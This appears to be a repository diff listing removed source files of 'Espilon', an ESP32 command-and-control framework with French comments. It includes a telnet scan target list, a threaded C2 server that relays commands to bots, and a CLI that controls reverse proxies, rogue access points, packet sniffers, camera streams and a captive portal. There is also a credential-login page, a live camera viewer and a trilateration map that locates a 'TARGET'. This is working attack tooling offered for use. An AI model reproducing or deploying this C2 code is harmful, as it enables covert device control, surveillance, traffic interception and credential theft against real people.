192.168.1.169:23|PORT_CHECK
192.168.1.170:23|PORT_CHECK
192.168.1.171:23|PORT_CHECK
192.168.1.172:23|PORT_CHECK
192.168.1.173:23|PORT_CHECK
192.168.1.174:23|PORT_CHECK
192.168.1.175:23|PORT_CHECK
192.168.1.176:23|PORT_CHECK
192.168.1.177:23|PORT_CHECK
192.168.1.178:23|PORT_CHECK
192.168.1.179:23|PORT_CHECK
192.168.1.180:23|PORT_CHECK
192.168.1.181:23|PORT_CHECK
192.168.1.182:23|PORT_CHECK
192.168.1.183:23|PORT_CHECK
192.168.1.184:23|PORT_CHECK
192.168.1.185:23|PORT_CHECK
192.168.1.186:23|PORT_CHECK
192.168.1.187:23|PORT_CHECK
192.168.1.188:23|PORT_CHECK
192.168.1.189:23|PORT_CHECK
192.168.1.190:23|PORT_CHECK
192.168.1.191:23|PORT_CHECK
192.168.1.192:23|PORT_CHECK
192.168.1.193:23|PORT_CHECK
192.168.1.194:23|PORT_CHECK
192.168.1.195:23|PORT_CHECK
192.168.1.196:23|PORT_CHECK
192.168.1.197:23|PORT_CHECK
192.168.1.198:23|PORT_CHECK
192.168.1.199:23|PORT_CHECK
192.168.1.200:23|PORT_CHECK
192.168.1.201:23|PORT_CHECK
192.168.1.202:23|PORT_CHECK
192.168.1.203:23|PORT_CHECK
192.168.1.204:23|PORT_CHECK
192.168.1.205:23|PORT_CHECK
192.168.1.206:23|PORT_CHECK
192.168.1.207:23|PORT_CHECK
192.168.1.208:23|PORT_CHECK
192.168.1.209:23|PORT_CHECK
192.168.1.210:23|PORT_CHECK
192.168.1.211:23|PORT_CHECK
192.168.1.212:23|PORT_CHECK
192.168.1.213:23|PORT_CHECK
192.168.1.214:23|PORT_CHECK
192.168.1.215:23|PORT_CHECK
192.168.1.216:23|PORT_CHECK
192.168.1.217:23|PORT_CHECK
192.168.1.218:23|PORT_CHECK
192.168.1.219:23|PORT_CHECK
192.168.1.220:23|PORT_CHECK
192.168.1.221:23|PORT_CHECK
192.168.1.222:23|PORT_CHECK
192.168.1.223:23|PORT_CHECK
192.168.1.224:23|PORT_CHECK
192.168.1.225:23|PORT_CHECK
192.168.1.226:23|PORT_CHECK
192.168.1.227:23|PORT_CHECK
192.168.1.228:23|PORT_CHECK
192.168.1.229:23|PORT_CHECK
192.168.1.230:23|PORT_CHECK
192.168.1.231:23|PORT_CHECK
192.168.1.232:23|PORT_CHECK
192.168.1.233:23|PORT_CHECK
192.168.1.234:23|PORT_CHECK
192.168.1.235:23|PORT_CHECK
192.168.1.236:23|PORT_CHECK
192.168.1.237:23|PORT_CHECK
192.168.1.238:23|PORT_CHECK
192.168.1.239:23|PORT_CHECK
192.168.1.240:23|PORT_CHECK
192.168.1.241:23|PORT_CHECK
192.168.1.242:23|PORT_CHECK
192.168.1.243:23|PORT_CHECK
192.168.1.244:23|PORT_CHECK
192.168.1.245:23|PORT_CHECK
192.168.1.246:23|PORT_CHECK
192.168.1.247:23|PORT_CHECK
192.168.1.248:23|PORT_CHECK
192.168.1.249:23|PORT_CHECK
192.168.1.250:23|PORT_CHECK
192.168.1.251:23|PORT_CHECK
192.168.1.252:23|PORT_CHECK
192.168.1.253:23|PORT_CHECK
192.168.1.254:23|PORT_CHECK

View File

@ -1,65 +0,0 @@
import socket
import threading
import time
clients = {}
lock = threading.Lock()
def load_all_commands(filename="commands.txt"):
try:
with open(filename, "r") as f:
return [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[!] Fichier {filename} non trouvé.")
return []
def handle_client(client_socket, address):
client_id = f"{address[0]}:{address[1]}"
print(f"[+] Nouveau client connecté : {client_id}")
with lock:
clients[client_id] = client_socket
commands = load_all_commands()
try:
for cmd in commands:
print(f"[→] Envoi à {client_id} : {cmd}")
client_socket.sendall((cmd + "\n").encode())
# Attente de la réponse du client avant de continuer
data = client_socket.recv(4096)
if not data:
print(f"[!] Le client {client_id} a fermé la connexion.")
break
print(f"[←] Réponse de {client_id} : {data.decode(errors='ignore')}")
except Exception as e:
print(f"[!] Erreur avec {client_id} : {e}")
finally:
with lock:
if client_id in clients:
del clients[client_id]
client_socket.close()
print(f"[-] Client déconnecté : {client_id}")
def accept_connections(server_socket):
while True:
client_socket, addr = server_socket.accept()
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
def start_server(host="0.0.0.0", port=1234):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
print(f"[Serveur] En écoute sur {host}:{port}")
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
while True:
time.sleep(1)
if __name__ == "__main__":
start_server()

Binary file not shown.

View File

@ -1,38 +0,0 @@
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Multi Flux Caméras UDP</title>
<style>
img {
max-width: 300px;
margin: 10px;
border: 2px solid #333;
}
</style>
</head>
<body>
<h1>Caméras en direct</h1>
<div id="camera-container">
{% for img in image_files %}
<div>
<p>{{ img }}</p>
<img id="img_{{ loop.index }}" src="/streams/{{ img }}?t={{ loop.index }}" alt="Camera {{ loop.index }}">
<p>{{ image.split('_')[0] if '_' in image else image }}</p>
</div>
{% endfor %}
</div>
<script>
function refreshImages() {
const imgs = document.querySelectorAll("img");
imgs.forEach((img, i) => {
const src = img.src.split("?")[0];
img.src = `${src}?t=${Date.now()}`; // Cache-busting
});
}
setInterval(refreshImages, 100); // Rafraîchit toutes les 100 ms
</script>
<a href="/trilateration">→ Voir Trilatération</a>
</body>
</html>

View File

@ -1,58 +0,0 @@
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Connexion</title>
<style>
body {
font-family: Arial, sans-serif;
background: #f5f5f5;
padding: 40px;
}
.card {
max-width: 360px;
margin: auto;
background: #fff;
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
input {
width: 100%;
padding: 10px;
margin: 10px 0;
border: 1px solid #ccc;
border-radius: 5px;
}
input[type='submit'] {
background: #007BFF;
color: #fff;
border: none;
cursor: pointer;
}
input[type='submit']:hover {
background: #0056b3;
}
.error {
color: red;
margin-bottom: 10px;
text-align: center;
}
</style>
</head>
<body>
<div class="card">
<h2>Connexion requise</h2>
<p>Veuillez entrer vos identifiants pour accéder au service.</p>
{% if error %}
<div class="error">{{ error }}</div>
{% endif %}
<form method="post">
<input type="text" name="username" placeholder="Nom d'utilisateur" required>
<input type="password" name="password" placeholder="Mot de passe" required>
<input type="submit" value="Se connecter">
</form>
</div>
</body>
</html>

View File

@ -1,153 +0,0 @@
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Carte de Trilatération</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
}
#canvas {
border: 1px solid #333;
background-color: #f9f9f9;
}
#controls {
margin: 10px;
}
</style>
</head>
<body>
<h1>Carte de Trilatération</h1>
<p><strong>Dernier point :</strong>
{% if point %}
({{ "%.3f"|format(point[0]) }}, {{ "%.3f"|format(point[1]) }})
{% else %}
Aucun point
{% endif %}
</p>
<div id="controls">
<label for="gridSize">Taille du plan (L x L) :</label>
<input type="number" id="gridSize" value="10" min="5" max="50">
<button onclick="redraw()">Appliquer</button>
</div>
<canvas id="canvas" width="600" height="600"></canvas>
<script>
const originalPoint = {{ point|tojson }};
const anchors = {{ anchors|tojson }};
const canvas = document.getElementById("canvas");
const ctx = canvas.getContext("2d");
const width = canvas.width;
const height = canvas.height;
const scale = 50;
let gridSize = parseInt(document.getElementById("gridSize").value);
const espColors = {
"esp1": "green",
"esp2": "blue",
"esp3": "gold"
};
function toCanvasCoord(x, y) {
return [x * scale, height - y * scale];
}
function drawGrid() {
ctx.strokeStyle = "#ddd";
ctx.lineWidth = 1;
for (let i = 0; i <= gridSize; i++) {
ctx.beginPath();
ctx.moveTo(i * scale, 0);
ctx.lineTo(i * scale, height);
ctx.stroke();
ctx.beginPath();
ctx.moveTo(0, i * scale);
ctx.lineTo(width, i * scale);
ctx.stroke();
}
}
function drawAxes() {
ctx.strokeStyle = "#888";
ctx.lineWidth = 2;
ctx.beginPath();
ctx.moveTo(0, height);
ctx.lineTo(width, height);
ctx.stroke();
ctx.beginPath();
ctx.moveTo(0, 0);
ctx.lineTo(0, height);
ctx.stroke();
ctx.fillStyle = "#000";
ctx.font = "10px sans-serif";
for (let i = 0; i <= gridSize; i++) {
ctx.fillText(i, i * scale + 2, height - 5);
ctx.fillText(i, 2, height - i * scale - 2);
}
}
function drawPoint(x, y, color, label) {
const [px, py] = toCanvasCoord(x, y);
ctx.fillStyle = color;
ctx.beginPath();
ctx.arc(px, py, 6, 0, 2 * Math.PI);
ctx.fill();
ctx.stroke();
if (label) {
ctx.font = "12px sans-serif";
ctx.fillStyle = "black"; // ✅ ID toujours en noir
ctx.fillText(label, px + 8, py - 8);
}
}
function drawCircle(x, y, radius, color = 'rgba(0,0,255,0.1)') {
const [px, py] = toCanvasCoord(x, y);
ctx.beginPath();
ctx.arc(px, py, radius * scale, 0, 2 * Math.PI);
ctx.fillStyle = color;
ctx.fill();
ctx.strokeStyle = color;
ctx.stroke();
}
function redraw() {
gridSize = parseInt(document.getElementById("gridSize").value);
ctx.clearRect(0, 0, width, height);
drawGrid();
drawAxes();
if (anchors) {
for (const [id, coords] of Object.entries(anchors)) {
const [x, y, r] = coords;
const baseColor = espColors[id] || 'gray';
const circleColor = baseColor === 'gold' ? 'rgba(255, 215, 0, 0.1)' :
baseColor === 'green' ? 'rgba(0, 128, 0, 0.1)' :
baseColor === 'blue' ? 'rgba(0, 0, 255, 0.1)' :
'rgba(128,128,128,0.1)';
if (r) drawCircle(x, y, r, circleColor);
drawPoint(x, y, baseColor, id); // ID en noir
}
}
if (originalPoint) {
const [x, y] = originalPoint;
drawCircle(x, y, 0.5, 'rgba(255,0,0,0.2)'); // Cercle d'incertitude
drawPoint(x, y, "red", "TARGET");
}
}
redraw();
</script>
</body>
</html>

View File

@ -1,101 +0,0 @@
from utils.utils import _print_status, send_to_client
from utils.reboot import reboot
from utils.manager import add_to_group, remove_group, remove_esp_from_group
import time
def system_check(c2):
_print_status("=============== TEST GLOBAL DU SYSTÈME ===============", "CYAN")
# 1. Liste des clients connectés
_print_status("[1/10] Liste des clients connectés", "YELLOW")
if not c2.clients:
_print_status("Aucun client connecté", "RED", "")
return
for i, (addr, _) in enumerate(c2.clients.items(), 1):
print(f" {i}. {addr[0]}:{addr[1]}")
_print_status("Liste récupérée", "GREEN", "")
# 2. Envoi d'une commande simple ("ls") à chaque client
_print_status("[2/10] Test d'envoi de commande à chaque client", "YELLOW")
for addr in list(c2.clients.keys()):
try:
response = send_to_client(c2, addr, "ls", wait_response=True)
if response:
_print_status(f"Réponse reçue de {addr[0]}", "GREEN", "")
else:
_print_status(f"Aucune réponse de {addr[0]}", "RED", "")
except:
_print_status(f"Erreur d'envoi vers {addr[0]}", "RED", "")
# 3. Création et remplissage d'un groupe de test
_print_status("[3/10] Création dun groupe test et ajout de clients", "YELLOW")
test_group = "test_all"
for i, addr in enumerate(c2.clients.keys()):
if i < 2: # Limite à 2 clients pour le test
add_to_group(c2, test_group, addr)
if test_group in c2.groups:
_print_status(f"Groupe '{test_group}' créé avec {len(c2.groups[test_group])} clients", "GREEN", "")
else:
_print_status("Échec création groupe", "RED", "")
# 4. Liste des groupes
_print_status("[4/10] Listing des groupes", "YELLOW")
if c2.groups:
for group, members in c2.groups.items():
print(f" {group} : {members}")
_print_status("Groupes listés", "GREEN", "")
else:
_print_status("Aucun groupe trouvé", "RED", "")
# 5. Reboot dun seul client
_print_status("[5/10] Reboot dun seul client", "YELLOW")
first_client = list(c2.clients.keys())[0]
reboot(c2, first_client, mode="single")
time.sleep(5)
# 6. Reboot du groupe
_print_status("[6/10] Reboot du groupe", "YELLOW")
reboot(c2, test_group, mode="group")
time.sleep(5)
# 7. Reboot de tous les clients
_print_status("[7/10] Reboot de tous les clients", "YELLOW")
reboot(c2, mode="all")
time.sleep(5)
# 8. Attente et vérification de reconnexion
_print_status("[8/10] Attente de reconnexion des clients", "YELLOW", "!")
time.sleep(5)
if c2.clients:
for addr in c2.clients.keys():
print(f" - {addr[0]}:{addr[1]}")
_print_status("Clients reconnectés", "GREEN", "")
else:
_print_status("Aucun client reconnecté", "RED", "")
# 9. Retirer un client du groupe
# check si il y a plusieurs clients dans le groupe
# si oui, retirer le premier
# sinon passer le test
_print_status("[9/10] Retirer un client du groupe", "YELLOW")
if len(c2.groups[test_group]) > 1:
first_client = c2.groups[test_group][0]
remove_esp_from_group(c2, test_group, [first_client])
if first_client not in c2.groups[test_group]:
_print_status(f"Client {first_client} retiré du groupe {test_group}", "GREEN", "")
else:
_print_status(f"Échec de retrait du client {first_client} du groupe {test_group}", "RED", "")
else:
_print_status("Groupe ne contient qu'un seul client, pas de retrait effectué", "YELLOW", "!")
# 10. Suppression du groupe
_print_status("[10/10] Suppression du groupe de test", "YELLOW")
if test_group in c2.groups:
remove_group(c2, test_group)
if test_group not in c2.groups:
_print_status("Groupe supprimé", "GREEN", "")
else:
_print_status("Échec de suppression du groupe", "RED", "")
_print_status("=============== TEST TERMINÉ ===============", "CYAN")

View File

@ -1,149 +0,0 @@
from utils.manager import list_groups
from tools.c2.utils.constant import _color
# from utils.genhash import generate_random_endpoint, generate_token
from utils.utils import _print_status, _list_clients, _send_command
#from test.test import system_check
# from udp_server import start_cam_server, stop_cam_server
import os
import readline
from utils.sheldon import call
def _setup_cli(c2):
readline.parse_and_bind("tab: complete")
readline.set_completer_delims(' \t\n;')
readline.set_completer(c2._complete)
readline.set_auto_history(True)
def _show_menu():
menu = f"""
{_color('CYAN')}=============== Menu Server ==============={_color('RESET')}
menu / help -> List of commands
########## Manage Esp32 ##########
add_group <group> <id_esp32> -> Add a client to a group
list_groups -> List all groups
remove_group <group> -> Remove a group
remove_esp_from <group> <esp> -> Remove a client from a group
reboot <id_esp32> -> Reboot a specific client
reboot <group> -> Reboot all clients in a group
reboot all -> Reboot all clients
########## System C2 Commands ##########
list -> List all connected clients
clear -> Clear the terminal screen
exit -> Exit the server
start/stop srv_video -> Register a camera service
########## Firmware Services client ##########
## Send Commands to firmware ##
send <id_esp32> <message> -> Send a message to a client
or
send <id_esp32> <start/stop> <service> <args> -> Start/Stop a service on a specific client
## Start/Stop Services on clients ##
start proxy <IP> <PORT> -> Start a reverse proxy on ur ip port for a specific client
stop proxy -> Stop the revproxy on a specific client
start stream <IP> <PORT> -> Start camera stream on a specific client
stop stream -> Stop camera stream on a specific client
start ap <WIFI_SSID> <PASSWORD> -> Start an access point on a specific client
(WIFI_SSID and PASSWORD are optional, default_SSID="ESP_32_WIFI_SSID")
stop ap -> Stop the access point on a specific client
list_clients -> List all connected clients on the access point
start sniffer -> Start packet sniffing on clients connected to the access point
stop sniffer -> Stop packet sniffing on clients connected to the access point
start captive_portal <WIFI_SSID> -> Start a server on a specific client
(WIFI_SSID is optional, default_SSID="ESP_32_WIFI_SSID")
stop captive_portal -> Stop the server on a specific client
"""
print(menu)
def _show_banner():
banner = rf"""
{_color('CYAN')}Authors : Eunous/grogore, itsoktocryyy, offpath, Wepfen, p2lu
___________
\_ _____/ ____________ |__| | ____ ____
| __)_ / ___/\____ \| | | / _ \ / \
| \\___ \ | |_> > | |_( <_> ) | \
/_______ /____ >| __/|__|____/\____/|___| /
\/ \/ |__| \/
=============== v 0.1 ==============={_color('RESET')}
"""
print(banner)
def cli_interface(self):
_show_banner()
_show_menu()
# def _cmd_start(parts):
# if len(parts) > 1 and parts[1] == "srv_video":
# start_cam_server()
# def _cmd_stop(parts):
# if len(parts) > 1 and parts[1] == "srv_video":
# stop_cam_server()
commands = {
"menu": lambda parts: _show_menu(),
"help": lambda parts: _show_menu(),
"send": lambda parts: _send_command(self, " ".join(parts)),
"list": lambda parts: _list_clients(self),
"clear": lambda parts: os.system('cls' if os.name == 'nt' else 'clear'),
"exit": lambda parts: self._shutdown(),
"reboot": lambda parts: self._handle_reboot(parts),
"add_group": lambda parts: self._handle_add_group(parts),
"list_groups": lambda parts: list_groups(self),
"remove_group": lambda parts: self._handle_remove_group(parts),
"remove_esp_from": lambda parts: self._handle_remove_esp_from(parts),
# "start": _cmd_start,
# "stop": _cmd_stop,
# "system_check": lambda parts: system_check(self),
}
while True:
choix = input(f"\n{_color('BLUE')}striker:> {_color('RESET')}").strip()
if not choix:
continue
parts = choix.split()
cmd = parts[0]
try:
if cmd in commands:
commands[cmd](parts)
else:
call(choix)
except Exception as e:
_print_status(f"Erreur: {str(e)}", "RED", "")

View File

@ -1,29 +0,0 @@
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: espilon.proto
"""Generated protocol buffer code."""
from google.protobuf.internal import builder as _builder
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\respilon.proto\x12\x07\x65spilon\"C\n\nESPMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\x12\x0b\n\x03log\x18\x04 \x01(\x0c\"\x1c\n\tC2Command\x12\x0f\n\x07payload\x18\x01 \x02(\t\"U\n\rESPLogMessage\x12\x0b\n\x03tag\x18\x01 \x02(\t\x12\n\n\x02id\x18\x02 \x02(\t\x12\x13\n\x0blog_message\x18\x03 \x01(\t\x12\x16\n\x0elog_error_code\x18\x04 \x01(\r')
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'espilon_pb2', globals())
if _descriptor._USE_C_DESCRIPTORS == False:
DESCRIPTOR._options = None
_ESPMESSAGE._serialized_start=26
_ESPMESSAGE._serialized_end=93
_C2COMMAND._serialized_start=95
_C2COMMAND._serialized_end=123
_ESPLOGMESSAGE._serialized_start=125
_ESPLOGMESSAGE._serialized_end=210
# @@protoc_insertion_point(module_scope)

View File

@ -1,13 +0,0 @@
import secrets
import hashlib
def generate_random_endpoint():
endpoint = f"/stream_{secrets.token_hex(4)}"
print(f"[+] Endpoint généré : {endpoint}")
return endpoint
def generate_token():
raw = secrets.token_bytes(8)
hashed = hashlib.sha256(raw).hexdigest()
print(f"[+] Bearer Token généré : {hashed}")
return hashed

Some files were not shown because too many files have changed in this diff Show More